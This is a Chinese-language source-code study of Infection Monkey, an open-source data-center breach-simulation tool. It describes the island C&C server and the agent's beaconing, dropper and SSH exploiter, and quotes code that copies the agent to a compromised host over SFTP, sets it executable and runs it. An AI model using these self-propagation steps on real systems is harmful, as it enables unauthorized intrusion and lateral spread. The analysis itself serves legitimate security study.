Infection Monkey是一款由以色列安全公司GuardiCore在2016黑帽大会上发布的数据中心安全检测工具,其主要用于数据中心边界及内部服务器安全性的自动化检测。该工具在架构上,则分为Monkey(扫描及漏洞利用端)以及C&C服务器(相当于reporter,但仅仅只是用于收集monkey探测的信息)
infection Monkey
nfection Monkey
对infection Monkey的源码进行了一些调研,主要分为monkey_island和monkey两部分,island的身份是c&c服务器,负责收集monkey传来的数据到数据库里;monkey负责的是感染新monkey,向c&c服务器汇总信息。
monkey_island
程序流程
入口:run.sh
|
|
这里会跳转到 /var/monkey_island/cc目录下
然后运行cc/main.py
|
|
IOLoop.instance().start()一般就是放在main函数末尾的
目前的感觉:monkey island这部分是通过mongo数据库和monkey进行交流的。
monkey是怎么知道island地址的?是通过运行的时候附加的ip地址参数知道的
|
|
当在island本机运行monkey时,将binaries/monkey-linux-64复制到了:/var/monkey_island/cc/
|
|
|
|
Config file wasn’t supplied and default path: /var/monkey_island/cc/monkey.bin wasn’t found, using internal default
Loaded Configuration….这些都不是island代码里出现过的,应该就是monkey-linux-64内置的。
对其他monkey的操作 比如 kill ,也是通过更新数据库
|
|
monkey
程序流程
main.py
如果存在了配置文件,就使用他;如果不存在则使用内置的默认配置。
然后检查一下是否存在kill file,如果有的话就不运行了。
接着初始化monkey
MONKEY_ARG 则 monkey_cls = InfectionMonkey
初始化InfectionMonkey这个类:增加server地址 WormConfiguration.command_servers.insert(0, self._default_server)
然后执行monkey.start 对ControlClient进行了一些操作,monkey_tunnel = ControlClient.create_control_tunnel(),monkey_tunnel.start() 然后开始扫了
LOG
monkey_tunnel
最后还会send_log_to_server
DROPPER_ARG 则 monkey_cls = MonkeyDrops
当路径不同的时候会把文件copy/move
然后开始运行monkey
control.py
wakeup函数:
requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies,
timeout=20)
find_server函数:
[10916:DEBUG] control.find_server.72: Trying to connect to server: 192.168.2.136:5000
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
|
|
send_telemetry和send_log 都是通过requests.post
load_control_config通过requests.get
send_config_error通过requests.patch
download_monkey_exe_by_filename
|
|
这部分就和island上想在其他机器上运行monkey的话 需要执行的步骤一样的。
def download_monkey_exe_by_filename(filename, size):
class MonkeyDrops(object): 运行本地的monkey了
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
129 stdin=None, stdout=None, stderr=None,
130 close_fds=True, creationflags=DETACHED_PROCESS)
monkey/infection_monkey/exploit/tools.py:
Create http server for file transfer with a lock
exploit/sshexec.py
exploit_host函数:
ssh = paramiko.SSHClient() paramiko实现了SSH协议,能够方便地与远程计算机交互
尝试ssh攻击 成功之后使用ssh.exec_command(‘uname -o’)获取目标主机的os,之后查看dropper_target_path_linux这个路径的moneky文件是否已经存在了,存在的话就说明这个机器已经被感染了 可以退出了。
不存在的话,就get_target_monkey查找src_path,然后ftp = ssh.open_sftp() 把src_path路径的文件传过去:
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
|
然后通过ssh.exec_command(cmdline)在被感染机器运行monkey